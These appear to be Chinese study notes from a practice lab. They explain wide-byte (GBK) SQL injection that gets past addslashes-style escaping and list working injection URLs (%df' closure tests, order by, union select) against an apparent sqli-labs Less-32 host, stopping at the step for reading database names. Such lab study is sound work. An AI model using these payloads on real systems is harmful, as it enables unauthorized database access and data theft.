过滤输入的函数:
addslashes
mysql_real_escape_string
mysql_escape_string
当字符的大小为一个字节时,称之为窄字节 例如ascii编码
当字符的大小为两个字节时,称之为宽字节 例如GB2312、GBK、GB8030
mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围
原理:
当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字。
当注入点使用转义函数对输入的特殊字符进行转义时,考虑宽字节注入。
'----->\'
ascii 单字节
GBK 宽字节
(1)判断闭合方式
http://124.222.124.9:8888/Less-32/?id=1%df' and 1=2 %23
(2)判断列数
http://124.222.124.9:8888/Less-32/?id=1%df' order by 3%23
(3)查看回显位置
http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,2,3%23
(4)查看库名